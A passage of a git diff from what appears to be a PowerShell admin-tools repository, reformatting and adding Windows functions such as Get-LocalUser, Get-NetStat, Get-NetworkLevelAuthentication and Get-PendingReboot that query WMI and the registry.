"[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - } - } + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true)] + [System.String[]]$ComputerName = $env:COMPUTERNAME, + [System.String]$GroupName = "Administrators" + ) + BEGIN { + TRY { + Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction 'Stop' -ErrorVariable ErrorBeginAddType + $ctype = [System.DirectoryServices.AccountManagement.ContextType]::Machine + } + CATCH { + Write-Warning -Message "[BEGIN] Something wrong happened" + IF ($ErrorBeginAddType) { Write-Warning -Message "[BEGIN] Error while loading the Assembly: System.DirectoryServices.AccountManagement" } + Write-Warning -Message $Error[0].Exception.Message + } + } + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + $context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $ctype, $computer + $idtype = [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName + $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($context, $idtype, $GroupName) + $group.Members | Select-Object *, @{ Label = 'Server'; Expression = { $computer } }, @{ Label = 'Domain'; Expression = { $_.Context.Name } } + } + CATCH { + Write-Warning -Message "[PROCESS] Something wrong happened" + Write-Warning -Message $Error[0].Exception.Message + } + } + } } \ No newline at end of file diff --git a/TOOL-Get-LocalUser/Get-LocalUser.ps1 b/TOOL-Get-LocalUser/Get-LocalUser.ps1 new file mode 100644 index 00000000..b662ec42 --- /dev/null +++ b/TOOL-Get-LocalUser/Get-LocalUser.ps1 @@ -0,0 +1,59 @@ +function Get-LocalUser { + + <# + .SYNOPSIS + This script can be list all of local user account. + + .DESCRIPTION + This script can be list all of local user account. + The function is using WMI to connect to the remote machine + + .PARAMETER ComputerName + Specifies the computers on which the command . The default is the local computer. + + .PARAMETER Credential + A description of the Credential parameter. + + + .EXAMPLE + Get-LocalUser + + This example shows how to list all of local users on local computer. + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + PARAM + ( + [Alias('cn')] + [String[]]$ComputerName = $Env:COMPUTERNAME, + + [String]$AccountName, + + [System.Management.Automation.PsCredential]$Credential + ) + + $Splatting = @{ + Class = "Win32_UserAccount" + Namespace = "root\cimv2" + Filter = "LocalAccount='$True'" + } + + #Credentials + If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + Foreach ($Computer in $ComputerName) { + TRY { + Write-Verbose -Message "[PROCESS] ComputerName: $Computer" + Get-WmiObject @Splatting -ComputerName $Computer | Select-Object -Property Name, FullName, Caption, Disabled, Status, Lockout, PasswordChangeable, PasswordExpires, PasswordRequired, SID, SIDType, AccountType, Domain, Description + } + CATCH { + Write-Warning -Message "[PROCESS] Issue connecting to $Computer" + } + } +} \ No newline at end of file diff --git a/TOOL-Get-LogFast/Get-LogFast.ps1 b/TOOL-Get-LogFast/Get-LogFast.ps1 new file mode 100644 index 00000000..6945687a --- /dev/null +++ b/TOOL-Get-LogFast/Get-LogFast.ps1 @@ -0,0 +1,64 @@ +function Get-LogFast { + <# + .DESCRIPTION + Function to read a log file very fast + .SYNOPSIS + Function to read a log file very fast + .EXAMPLE + Get-LogFast -Path C:\megalogfile.log + .EXAMPLE + Get-LogFast -Path C:\367.msp.0.log -Match "09:36:43:417" -Verbose + + VERBOSE: [PROCESS] Match found + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Font + VERBOSE: [PROCESS] Match found + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: Class + VERBOSE: [PROCESS] Match found + MSI (s) (A8:14) [09:36:43:417]: Note: 1: 2205 2: 3: TypeLib + + .NOTES + Francois-Xavier cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell + +#> + [CmdletBinding()] + PARAM ( + $Path = "c:\Biglog.log", + + $Match + ) + BEGIN { + # Create a StreamReader object + # Fortunately this .NET Framework called System.IO.StreamReader allows you to read text files a line at a time which is important when you’ re dealing with huge log files :-) + $StreamReader = New-Object -TypeName System.IO.StreamReader -ArgumentList (Resolve-Path -Path $Path -ErrorAction Stop).Path + } + PROCESS { + # .Peek() Method: An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + while ($StreamReader.Peek() -gt -1) { + # Read the next line + # .ReadLine() method: Reads a line of characters from the current stream and returns the data as a string. + $Line = $StreamReader.ReadLine() + + # Ignore empty line and line starting with a # + if ($Line.length -eq 0 -or $Line -match "^#") { + continue + } + + IF ($PSBoundParameters['Match']) { + If ($Line -match $Match) { + Write-Verbose -Message "[PROCESS] Match found" + + # Split the line on $Delimiter + #$result = ($Line -split $Delimiter) + + Write-Output $Line + } + } + ELSE { Write-Output $Line } + } + } #PROCESS +} \ No newline at end of file diff --git a/TOOL-Get-NetFramework/Get-NetFramework.ps1 b/TOOL-Get-NetFramework/Get-NetFramework.ps1 index dd3d1d96..287d431b 100644 --- a/TOOL-Get-NetFramework/Get-NetFramework.ps1 +++ b/TOOL-Get-NetFramework/Get-NetFramework.ps1 @@ -1,61 +1,65 @@ -function Get-NetFramework -{ - <# - .SYNOPSIS - This function will retrieve the list of Framework Installed on the computer. - .EXAMPLE - Get-NetFramework - - PSChildName Version - ----------- ------- - v2.0.50727 2.0.50727.4927 - v3.0 3.0.30729.4926 - Windows Communication Foundation 3.0.4506.4926 - Windows Presentation Foundation 3.0.6920.4902 - v3.5 3.5.30729.4926 - Client 4.5.51641 - Full 4.5.51641 - Client 4.0.0.0 - - .NOTES - TODO: - Credential support - ComputerName - $hklm = 2147483650 - $key = "SOFTWARE\Microsoft\NET Framework Setup" - $value = "NDP" - Get-wmiobject -list "StdRegProv" -namespace root\default -computername . | - Invoke-WmiMethod -name GetDWORDValue -ArgumentList $hklm,$key,$value | select uvalue - - #http://stackoverflow.com/questions/27375012/check-remote-wmi-and-remote-registry - #> - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName, - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - $Splatting = @{ - ComputerName = $ComputerName - } - - if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - - Invoke-Command @Splatting -ScriptBlock { - Write-Verbose -Message "$pscomputername" - - # Get the Net Framework Installed - $netFramework = Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | - Get-ItemProperty -name Version -EA 0 | - Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } | - Select-Object -Property PSChildName, Version - - # Prepare output - $Properties = @{ - ComputerName = "$($env:Computername)$($env:USERDNSDOMAIN)" - PowerShellVersion = $psversiontable.PSVersion.Major - NetFramework = $netFramework - } - New-Object -TypeName PSObject -Property $Properties - } +function Get-NetFramework { + <# +.SYNOPSIS + This function will retrieve the list of Framework Installed on the computer. +.DESCRIPTION + This function will retrieve the list of Framework Installed on the computer. +.EXAMPLE + Get-NetFramework + + PSChildName Version + ----------- ------- + v2.0.50727 2.0.50727.4927 + v3.0 3.0.30729.4926 + Windows Communication Foundation 3.0.4506.4926 + Windows Presentation Foundation 3.0.6920.4902 + v3.5 3.5.30729.4926 + Client 4.5.51641 + Full 4.5.51641 + Client 4.0.0.0 + +.NOTES + TODO: + Credential support + ComputerName + $hklm = 2147483650 + $key = "SOFTWARE\Microsoft\NET Framework Setup" + $value = "NDP" + Get-wmiobject -list "StdRegProv" -namespace root\default -computername . | + Invoke-WmiMethod -name GetDWORDValue -ArgumentList $hklm,$key,$value | select uvalue + + #http://stackoverflow.com/questions/27375012/check-remote-wmi-and-remote-registry +.LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM ( + [String[]]$ComputerName, + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + ComputerName = $ComputerName + } + + if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } + + Invoke-Command @Splatting -ScriptBlock { + Write-Verbose -Message "$pscomputername" + + # Get the Net Framework Installed + $netFramework = Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | + Get-ItemProperty -name Version -EA 0 | + Where-Object -FilterScript { $_.PSChildName -match '^(?!S)\p{L}' } | + Select-Object -Property PSChildName, Version + + # Prepare output + $Properties = @{ + ComputerName = "$($env:Computername)$($env:USERDNSDOMAIN)" + PowerShellVersion = $psversiontable.PSVersion.Major + NetFramework = $netFramework + } + New-Object -TypeName PSObject -Property $Properties + } } \ No newline at end of file diff --git a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 new file mode 100644 index 00000000..954eba96 --- /dev/null +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -0,0 +1,28 @@ +function Get-NetFrameworkTypeAccelerator { + <# +.SYNOPSIS + Function to retrieve the list of Type Accelerator available +.DESCRIPTION + Function to retrieve the list of Type Accelerator available + +.EXAMPLE + Get-NetFrameworkTypeAccelerator + + Return the list of Type Accelerator available on your system +.EXAMPLE + Get-Accelerator + + Return the list of Type Accelerator available on your system + This is a function alias created by [Alias()] +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell +#> + [Alias('Get-Acceletrator')] + PARAM () + [System.Management.Automation.PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get +} \ No newline at end of file diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index b6008810..9db850b8 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -1,46 +1,47 @@ -function Get-NetStat -{ -<# +function Get-NetStat { + <# .SYNOPSIS - This function will get the output of netstat -n and parse the output + This function will get the output of netstat -n and parse the output .DESCRIPTION - This function will get the output of netstat -n and parse the output + This function will get the output of netstat -n and parse the output +.EXAMPLE + Get-Netstat .LINK - http://www.lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html + https://lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @LazyWinAdm + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell #> - PROCESS - { - # Get the output of netstat - $data = netstat -n - - # Keep only the line with the data (we remove the first lines) - $data = $data[4..$data.count] - - # Each line need to be splitted and get rid of unnecessary spaces - foreach ($line in $data) - { - # Get rid of the first whitespaces, at the beginning of the line - $line = $line -replace '^\s+', '' - - # Split each property on whitespaces block - $line = $line -split '\s+' - - # Define the properties - $properties = @{ - Protocole = $line[0] - LocalAddressIP = ($line[1] -split ":")[0] - LocalAddressPort = ($line[1] -split ":")[1] - ForeignAddressIP = ($line[2] -split ":")[0] - ForeignAddressPort = ($line[2] -split ":")[1] - State = $line[3] - } - - # Output the current line - New-Object -TypeName PSObject -Property $properties - } - } + PROCESS { + # Get the output of netstat + $data = netstat -n + + # Keep only the line with the data (we remove the first lines) + $data = $data[4..$data.count] + + # Each line need to be splitted and get rid of unnecessary spaces + foreach ($line in $data) { + # Get rid of the first whitespaces, at the beginning of the line + $line = $line -replace '^\s+', '' + + # Split each property on whitespaces block + $line = $line -split '\s+' + + # Define the properties + $properties = @{ + Protocole = $line[0] + LocalAddressIP = ($line[1] -split ":")[0] + LocalAddressPort = ($line[1] -split ":")[1] + ForeignAddressIP = ($line[2] -split ":")[0] + ForeignAddressPort = ($line[2] -split ":")[1] + State = $line[3] + } + + # Output the current line + New-Object -TypeName PSObject -Property $properties + } + } } \ No newline at end of file diff --git a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 index 58086c08..304882b8 100644 --- a/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 +++ b/TOOL-Get-NetworkLevelAuthentication/Get-NetworkLevelAuthentication.ps1 @@ -1,166 +1,153 @@ -function Get-NetworkLevelAuthentication -{ -<# +function Get-NetworkLevelAuthentication { + <# .SYNOPSIS - This function will get the NLA setting on a local machine or remote machine + This function will get the NLA setting on a local machine or remote machine .DESCRIPTION - This function will get the NLA setting on a local machine or remote machine + This function will get the NLA setting on a local machine or remote machine .PARAMETER ComputerName - Specify one or more computer to query + Specify one or more computer to query .PARAMETER Credential - Specify the alternative credential to use. By default it will use the current one. + Specify the alternative credential to use. By default it will use the current one. .EXAMPLE - Get-NetworkLevelAuthentication - - This will get the NLA setting on the localhost + Get-NetworkLevelAuthentication - ComputerName : XAVIERDESKTOP - NLAEnabled : True - TerminalName : RDP-Tcp - TerminalProtocol : Microsoft RDP 8.0 - Transport : tcp + This will get the NLA setting on the localhost + + ComputerName : XAVIERDESKTOP + NLAEnabled : True + TerminalName : RDP-Tcp + TerminalProtocol : Microsoft RDP 8.0 + Transport : tcp .EXAMPLE - Get-NetworkLevelAuthentication -ComputerName DC01 - - This will get the NLA setting on the server DC01 + Get-NetworkLevelAuthentication -ComputerName DC01 + + This will get the NLA setting on the server DC01 - ComputerName : DC01 - NLAEnabled : True - TerminalName : RDP-Tcp - TerminalProtocol : Microsoft RDP 8.0 - Transport : tcp + ComputerName : DC01 + NLAEnabled : True + TerminalName : RDP-Tcp + TerminalProtocol : Microsoft RDP 8.0 + Transport : tcp .EXAMPLE - Get-NetworkLevelAuthentication -ComputerName DC01, SERVER01 -verbose - - This will get the NLA setting on the servers DC01 and the SERVER01 + Get-NetworkLevelAuthentication -ComputerName DC01, SERVER01 -verbose + + This will get the NLA setting on the servers DC01 and the SERVER01 .EXAMPLE - Get-Content .\Computers.txt | Get-NetworkLevelAuthentication -verbose - - This will get the NLA setting for all the computers listed in the file Computers.txt - + Get-Content .\Computers.txt | Get-NetworkLevelAuthentication -verbose + + This will get the NLA setting for all the computers listed in the file Computers.txt + .EXAMPLE - Get-NetworkLevelAuthentication -ComputerName (Get-Content -Path .\Computers.txt) - - This will get the NLA setting for all the computers listed in the file Computers.txt - + Get-NetworkLevelAuthentication -ComputerName (Get-Content -Path .\Computers.txt) + + This will get the NLA setting for all the computers listed in the file Computers.txt + .NOTES - DATE : 2014/04/01 - AUTHOR : Francois-Xavier Cat - WWW : http://lazywinadmin.com - Twitter : @lazywinadm - - Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html - GitHub : https://github.com/lazywinadmin/PowerShell + DATE : 2014/04/01 + AUTHOR : Francois-Xavier Cat + WWW : http://lazywinadmin.com + Twitter : @lazywinadmin + + Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html +.LINK + https://github.com/lazywinadmin/PowerShell #> - #Requires -Version 3.0 - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline)] - [String[]]$ComputerName = $env:ComputerName, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#Param - BEGIN - { - TRY - { - IF (-not (Get-Module -Name CimCmdlets)) - { - Write-Verbose -Message 'BEGIN - Import Module CimCmdlets' - Import-Module CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets - } - } - CATCH - { - IF ($ErrorBeginCimCmdlets) - { - Write-Error -Message "BEGIN - Can't find CimCmdlets Module" - } - } - }#BEGIN - - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - # Building Splatting for CIM Sessions - $CIMSessionParams = @{ - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ProcessError' - } - - # Add Credential if specified when calling the function - IF ($PSBoundParameters['Credential']) - { - $CIMSessionParams.credential = $Credential - } - - # Connectivity Test - Write-Verbose -Message "PROCESS - $Computer - Testing Connection..." - Test-Connection -ComputerName $Computer -count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null - - # CIM/WMI Connection - # WsMAN - IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') - { - Write-Verbose -Message "PROCESS - $Computer - WSMAN is responsive" - $CimSession = New-CimSession @CIMSessionParams - $CimProtocol = $CimSession.protocol - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" - } - - # DCOM - ELSE - { - # Trying with DCOM protocol - Write-Verbose -Message "PROCESS - $Computer - Trying to connect via DCOM protocol" - $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom - $CimSession = New-CimSession @CIMSessionParams - $CimProtocol = $CimSession.protocol - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" - } - - # Getting the Information on Terminal Settings - Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" - $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" - [pscustomobject][ordered]@{ - 'ComputerName' = $NLAinfo.PSComputerName - 'NLAEnabled' = $NLAinfo.UserAuthenticationRequired -as [bool] - 'TerminalName' = $NLAinfo.TerminalName - 'TerminalProtocol' = $NLAinfo.TerminalProtocol - 'Transport' = $NLAinfo.transport - } - } - - CATCH - { - Write-Warning -Message "PROCESS - Error on $Computer" - $_.Exception.Message - if ($ErrorTestConnection) { Write-Warning -Message "PROCESS Error - $ErrorTestConnection" } - if ($ProcessError) { Write-Warning -Message "PROCESS Error - $ProcessError" } - }#CATCH - } # FOREACH - }#PROCESS - END - { - - if ($CimSession) - { - Write-Verbose -Message "END - Close CIM Session(s)" - Remove-CimSession $CimSession - } - Write-Verbose -Message "END - Script is completed" - } + #Requires -Version 3.0 + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline)] + [String[]]$ComputerName = $env:ComputerName, + + [Alias("RunAs")] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#Param + BEGIN { + TRY { + IF (-not (Get-Module -Name CimCmdlets)) { + Write-Verbose -Message 'BEGIN - Import Module CimCmdlets' + Import-Module -Name CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets + } + } + CATCH { + IF ($ErrorBeginCimCmdlets) { + Write-Error -Message "BEGIN - Can't find CimCmdlets Module" + } + } + }#BEGIN + + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + # Building Splatting for CIM Sessions + $CIMSessionParams = @{ + ComputerName = $Computer + ErrorAction = 'Stop' + ErrorVariable = 'ProcessError' + } + + # Add Credential if specified when calling the function + IF ($PSBoundParameters['Credential']) { + $CIMSessionParams.credential = $Credential + } + + # Connectivity Test + Write-Verbose -Message "PROCESS - $Computer - Testing Connection..." + Test-Connection -ComputerName $Computer -count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null + + # CIM/WMI Connection + # WsMAN + IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') { + Write-Verbose -Message "PROCESS - $Computer - WSMAN is responsive" + $CimSession = New-CimSession @CIMSessionParams + $CimProtocol = $CimSession.protocol + Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" + } + + # DCOM + ELSE { + # Trying with DCOM protocol + Write-Verbose -Message "PROCESS - $Computer - Trying to connect via DCOM protocol" + $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom + $CimSession = New-CimSession @CIMSessionParams + $CimProtocol = $CimSession.protocol + Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Opened" + } + + # Getting the Information on Terminal Settings + Write-Verbose -message "PROCESS - $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" + $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" + [pscustomobject][ordered]@{ + 'ComputerName' = $NLAinfo.PSComputerName + 'NLAEnabled' = $NLAinfo.UserAuthenticationRequired -as [bool] + 'TerminalName' = $NLAinfo.TerminalName + 'TerminalProtocol' = $NLAinfo.TerminalProtocol + 'Transport' = $NLAinfo.transport + } + } + + CATCH { + Write-Warning -Message "PROCESS - Error on $Computer" + $_.Exception.Message + if ($ErrorTestConnection) { Write-Warning -Message "PROCESS Error - $ErrorTestConnection" } + if ($ProcessError) { Write-Warning -Message "PROCESS Error - $ProcessError" } + }#CATCH + } # FOREACH + }#PROCESS + END { + + if ($CimSession) { + Write-Verbose -Message "END - Close CIM Session(s)" + Remove-CimSession $CimSession + } + Write-Verbose -Message "END - Script is completed" + } } \ No newline at end of file diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index c7d33b99..b6205378 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -1,28 +1,57 @@ -function Get-PSObjectEmptyOrNullProperty -{ -<# - .SYNOPSIS - Function to Get all the empty or null properties with empty value in a PowerShell Object - - .DESCRIPTION - Function to Get all the empty or null properties with empty value in a PowerShell Object - - .PARAMETER PSObject - Specifies the PowerShell Object - - .EXAMPLE - PS C:\> Get-PSObjectEmptyOrNullProperty -PSObject $UserInfo - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +function Get-PSObjectEmptyOrNullProperty { + <# +.SYNOPSIS + Function to Get all the empty or null properties with empty value in a PowerShell Object + +.DESCRIPTION + Function to Get all the empty or null properties with empty value in a PowerShell Object. + I used this function in a System Center Orchestrator where I had a runbook that could update most of the important + properties of a user. Using this function I knew which properties were not be updated. + +.PARAMETER PSObject + Specifies the PowerShell Object + +.EXAMPLE + PS C:\> Get-PSObjectEmptyOrNullProperty -PSObject $UserInfo + +.EXAMPLE + + # Create a PowerShell Object with some properties + $o=''|select FirstName,LastName,nullable + $o.firstname='Nom' + $o.lastname='' + $o.nullable=$null + + # Look for empty or null properties + Get-PSObjectEmptyOrNullProperty -PSObject $o + + MemberType : NoteProperty + IsSettable : True + IsGettable : True + Value : + TypeNameOfValue : System.String + Name : LastName + IsInstance : True + + MemberType : NoteProperty + IsSettable : True + IsGettable : True + Value : + TypeNameOfValue : System.Object + Name : nullable + IsInstance : True + +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin +.LINK + https://github.com/lazywinadmin/PowerShell #> - PARAM ( - $PSObject) - PROCESS - { - $PsObject.psobject.Properties | - Where-Object { -not $_.value } - } -} \ No newline at end of file + PARAM ( + $PSObject) + PROCESS { + $PsObject.psobject.Properties | + Where-Object -FilterScript { -not $_.value } + } +} diff --git a/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 new file mode 100644 index 00000000..831ff548 --- /dev/null +++ b/TOOL-Get-PendingReboot/Get-PendingReboot.ps1 @@ -0,0 +1,213 @@ +Function Get-PendingReboot { + <# +.SYNOPSIS + Gets the pending reboot status on a local or remote computer. + +.DESCRIPTION + This function will query the registry on a local or remote computer and determine if the + system is pending a reboot, from either Microsoft Patching or a Software Installation. + For Windows 2008+ the function will query the CBS registry key as another factor in determining + pending reboot state. "PendingFileRenameOperations" and "Auto Update\RebootRequired" are observed + as being consistant across Windows Server 2003 & 2008. + + CBServicing = Component Based Servicing (Windows 2008) + WindowsUpdate = Windows Update / Auto Update (Windows 2003 / 2008) + CCMClientSDK = SCCM 2012 Clients only (DetermineIfRebootPending method) otherwise $null value + PendFileRename = PendingFileRenameOperations (Windows 2003 / 2008) + +.PARAMETER ComputerName + A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME). + +.PARAMETER ErrorLog + A single path to send error data to a log file. + +.EXAMPLE + PS C:\> Get-PendingReboot -ComputerName (Get-Content C:\ServerList.txt) | Format-Table -AutoSize + + Computer CBServicing WindowsUpdate CCMClientSDK PendFileRename PendFileRenVal RebootPending + -------- ----------- ------------- ------------ -------------- -------------- ------------- + DC01 False False False False + DC02 False False False False + FS01 False False False False + + This example will capture the contents of C:\ServerList.txt and query the pending reboot + information from the systems contained in the file and display the output in a table. The + null values are by design, since these systems do not have the SCCM 2012 client installed, + nor was the PendingFileRenameOperations value populated. + +.EXAMPLE + PS C:\> Get-PendingReboot + + Computer : WKS01 + CBServicing : False + WindowsUpdate : True + CCMClient : False + PendComputerRename : False + PendFileRename : False + PendFileRenVal : + RebootPending : True + + This example will query the local machine for pending reboot information. + +.EXAMPLE + PS C:\> $Servers = Get-Content C:\Servers.txt + PS C:\> Get-PendingReboot -Computer $Servers | Export-Csv C:\PendingRebootReport.csv -NoTypeInformation + + This example will create a report that contains pending reboot information. + +.LINK + Component-Based Servicing: + http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx + + PendingFileRename/Auto Update: + http://support.microsoft.com/kb/2723674 + http://technet.microsoft.com/en-us/library/cc960241.aspx + http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx + + SCCM 2012/CCM_ClientSDK: + http://msdn.microsoft.com/en-us/library/jj902723.aspx + +.NOTES + Author: Brian Wilhite + Email: bcwilhite (at) live.com + Date: 29AUG2012 + PSVer: 2.0/3.0/4.0/5.0 + Updated: 01DEC2014 + UpdNote: Added CCMClient property - Used with SCCM 2012 Clients only + Added ValueFromPipelineByPropertyName=$true to the ComputerName Parameter + Removed $Data variable from the PSObject - it is not needed + Bug with the way CCMClientSDK returned null value if it was false + Removed unneeded variables + Added PendFileRenVal - Contents of the PendingFileRenameOperations Reg Entry + Removed .Net Registry connection, replaced with WMI StdRegProv + Added ComputerPendingRename +#> + + [CmdletBinding()] + param ( + [Parameter(Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)] + [Alias("CN", "Computer")] + [String[]]$ComputerName = "$env:COMPUTERNAME", + + [String]$ErrorLog + ) + + Begin { } ## End Begin Script Block + Process { + Foreach ($Computer in $ComputerName) { + Try { + ## Setting pending values to false to cut down on the number of else statements + $CompPendRen, $PendFileRename, $Pending, $SCCM = $false, $false, $false, $false + + ## Setting CBSRebootPend to null since not all versions of Windows has this value + $CBSRebootPend = $null + + ## Querying WMI for build version + $WMI_OS = Get-WmiObject -Class Win32_OperatingSystem -Property BuildNumber, CSName -ComputerName $Computer -ErrorAction Stop + + ## Making registry connection to the local/remote computer + $HKLM = [UInt32] "0x80000002" + $WMI_Reg = [WMIClass] "\\$Computer\root\default:StdRegProv" + + ## If Vista/2008 & Above query the CBS Reg Key + If ([Int32]$WMI_OS.BuildNumber -ge 6001) { + $RegSubKeysCBS = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\") + $CBSRebootPend = $RegSubKeysCBS.sNames -contains "RebootPending" + } + + ## Query WUAU from the registry + $RegWUAURebootReq = $WMI_Reg.EnumKey($HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\") + $WUAURebootReq = $RegWUAURebootReq.sNames -contains "RebootRequired" + + ## Query PendingFileRenameOperations from the registry + $RegSubKeySM = $WMI_Reg.GetMultiStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\Session Manager\", "PendingFileRenameOperations") + $RegValuePFRO = $RegSubKeySM.sValue + + ## Query ComputerName and ActiveComputerName from the registry + $ActCompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName\", "ComputerName") + $CompNm = $WMI_Reg.GetStringValue($HKLM, "SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\", "ComputerName") + If ($ActCompNm -ne $CompNm) { + $CompPendRen = $true + } + + ## If PendingFileRenameOperations has a value set $RegValuePFRO variable to $true + If ($RegValuePFRO) { + $PendFileRename = $true + } + + ## Determine SCCM 2012 Client Reboot Pending Status + ## To avoid nested 'if' statements and unneeded WMI calls to determine if the CCM_ClientUtilities class exist, setting EA = 0 + $CCMClientSDK = $null + $CCMSplat = @{ + NameSpace = 'ROOT\ccm\ClientSDK' + Class = 'CCM_ClientUtilities' + Name = 'DetermineIfRebootPending' + ComputerName = $Computer + ErrorAction = 'Stop' + } + ## Try CCMClientSDK + Try { + $CCMClientSDK = Invoke-WmiMethod @CCMSplat + } + Catch [System.UnauthorizedAccessException] { + $CcmStatus = Get-Service -Name CcmExec -ComputerName $Computer -ErrorAction SilentlyContinue + If ($CcmStatus.Status -ne 'Running') { + Write-Warning "$Computer`: Error - CcmExec service is not running." + $CCMClientSDK = $null + } + } + Catch { + $CCMClientSDK = $null + } + + If ($CCMClientSDK) { + If ($CCMClientSDK.ReturnValue -ne 0) { + Write-Warning "Error: DetermineIfRebootPending returned error code $($CCMClientSDK.ReturnValue)" + } + If ($CCMClientSDK.IsHardRebootPending -or $CCMClientSDK.RebootPending) { + $SCCM = $true + } + } + + Else { + $SCCM = $null + } + + ## Creating Custom PSObject and Select-Object Splat + $SelectSplat = @{ + Property = ( + 'Computer', + 'CBServicing', + 'WindowsUpdate', + 'CCMClientSDK', + 'PendComputerRename', + 'PendFileRename', + 'PendFileRenVal', + 'RebootPending' + ) + } + New-Object -TypeName PSObject -Property @{ + Computer = $WMI_OS.CSName + CBServicing = $CBSRebootPend + 